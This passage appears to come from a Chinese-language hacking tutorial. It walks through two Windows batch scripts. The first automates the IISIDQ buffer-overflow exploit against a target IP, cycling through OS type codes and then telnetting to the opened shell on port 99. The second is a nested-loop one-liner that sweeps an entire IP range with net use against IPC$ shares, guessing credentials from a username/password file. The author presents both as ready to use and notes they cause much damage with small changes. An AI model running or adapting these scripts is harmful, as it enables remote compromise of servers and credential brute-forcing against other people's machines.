@echo off /*同例一 if not EXIST iisidq.exe goto file /*同例一 if %1 == "" goto error /*同例一 ping %1 -n 1 | find "Received = 1" /*同例一 if errorlevel 1 goto error1 /*同例一 set b=%1 /*創(chuàng)建一個(gè)環(huán)境變量b,將變量%1的內(nèi)容傳遞給環(huán)境變量b。變量b的內(nèi)容以后將是目標(biāo)ip set a=0 /*創(chuàng)建一個(gè)環(huán)境變量a并指定環(huán)境變量a為0。由于使用整個(gè)批處理的循環(huán)所以用a來做計(jì)數(shù)器。 :no /*no段開始 if %a%==0 set d=0 /*如果環(huán)境變量a=0則創(chuàng)建環(huán)境變量d設(shè)定環(huán)境變量d=0。 if %a%==1 set d=1 /*環(huán)境變量d其實(shí)是操作系統(tǒng)類型代碼,用計(jì)數(shù)器來控制其 if %a%==2 set d=2 /*變動(dòng)。 if %a%==3 set d=3 if %a%==4 set d=4 if %a%==5 set d=5 if %a%==6 set d=6 if %a%==7 set d=7 if %a%==9 set d=9 if %a%==10 set d=13 if %a%==11 set d=14 goto 0 /*變量傳遞完成后轉(zhuǎn)到標(biāo)志0處運(yùn)行 :1 echo 正在執(zhí)行第%d%項(xiàng)!與目標(biāo)%b%不能連接!正在嘗試連接請(qǐng)等候...... :0 /*標(biāo)志0開始 IISIDQ %d% %b% 80 1 99 |find "good" /*按格式發(fā)送溢出命令并在結(jié)果中發(fā)現(xiàn)字符串good(發(fā)送代碼成功才會(huì)有字符串good) if errorlevel 1 goto 1 /*如果沒有g(shù)ood字符串則沒有發(fā)送成跳 /*轉(zhuǎn)標(biāo)志1處繼續(xù)嘗試發(fā)送 ping 127.0.0.1 -n 8 >nul /*ping自己8次相當(dāng)于延時(shí)8秒不顯示執(zhí) /*行結(jié)果 echo 正在執(zhí)行第%d%項(xiàng)! /*報(bào)告正在溢出的操作系統(tǒng)類型 telnet %b% 99 /*連接溢出端口 echo. /*顯示一個(gè)空行 if %d%==14 goto error1 /*如果操作系統(tǒng)類型為14則跳轉(zhuǎn)error1處(循環(huán)出口) if %d%==13 set a=11 /*開始用計(jì)數(shù)器對(duì)操作系統(tǒng)代碼重新附值 if %d%==9 set a=10 if %d%==7 set a=9 if %d%==6 set a=7 if %d%==5 set a=6 if %d%==4 set a=5 if %d%==3 set a=4 if %d%==2 set a=3 if %d%==1 set a=2 if %d%==0 set a=1 goto no /*附值完成跳轉(zhuǎn)no段執(zhí)行 :file /*以下都是出錯(cuò)后的幫助提示 echo IIsidq.exe沒有發(fā)現(xiàn)!將該文件和本文件放在同一目錄! goto exit :error echo 錯(cuò)誤!目標(biāo)ip不可識(shí)別!請(qǐng)使用下面的格式連接! echo idq [目標(biāo)IP] goto exit :error1 echo 連接沒有成功!可能目標(biāo)機(jī)器已經(jīng)修補(bǔ)了該漏洞或者網(wǎng)絡(luò)故障所至! echo 請(qǐng)按照下面的格式手工嘗試! echo iisidq [目標(biāo)類型] [目標(biāo)IP] [目標(biāo)端口] [連接方式] [溢出端口] echo telnet [目標(biāo)ip] [溢出端口] :exit /*整個(gè)程序的出口
for /l %%a in (0,1,255) do for /l %%b in (0,1,255) do for /l %%c in (1,1,254) do for /f "tokens=1,2*" %%e in (userpass.txt) do net use //%1.%%a.%%b.%%c/ipc$ %%e /u:%%f 上面的命令為1條命令。大家可以看出該命令使用了4個(gè)FOR來套用的。用法為:C:/>TEST.BAT 218 當(dāng)輸入218回車后該命令會(huì)由第1個(gè)for取初始值0為%%a然后繼續(xù)取第2個(gè)for的初始值0為%%b繼續(xù)取第3個(gè)for的初始值1為%%c最后一個(gè)for是將userpass.txt中的第一段字符作為密碼%%e第二段字符作為用戶名%%f最后執(zhí)行命令 (這里我把上面的值都帶進(jìn)去,設(shè)密碼為123 用戶名為 abc) net usr //218.0.0.1/ipc$ 123 /u:abc 當(dāng)然上面這個(gè)例子可能有些朋友會(huì)說太簡單并且太死板不靈活。我把這個(gè)例子做了些修改(完整文件見光盤ipc.bat)由興趣的朋友可以自己看看。修改后的程序可以靈活的查找你指定開始到結(jié)束或你指定開始到最大ip的范圍。當(dāng)然功能還可以在加強(qiáng),至于能加強(qiáng)到什么地步能不能成為一個(gè)新的工具那就是你的事了。 這個(gè)的循環(huán)動(dòng)作大了點(diǎn)主要是ip的數(shù)字替換麻煩所以沒辦法。這個(gè)批處理我就不寫注釋了,大家好好的參考上面的內(nèi)容你會(huì)很快看懂這個(gè)批處理的。看懂了得不要說簡單哦!最起碼這是個(gè)沒有使用任何第三方工具就能探測(cè)并保存弱口令的批處理了!!簡單的改一改殺傷力還是很大的。以上這些批處理全部在win2000和xp下測(cè)試通過最大的優(yōu)點(diǎn)就是只有一個(gè)批處理文件并且絕對(duì)不會(huì)誤報(bào)。缺點(diǎn)就是太長!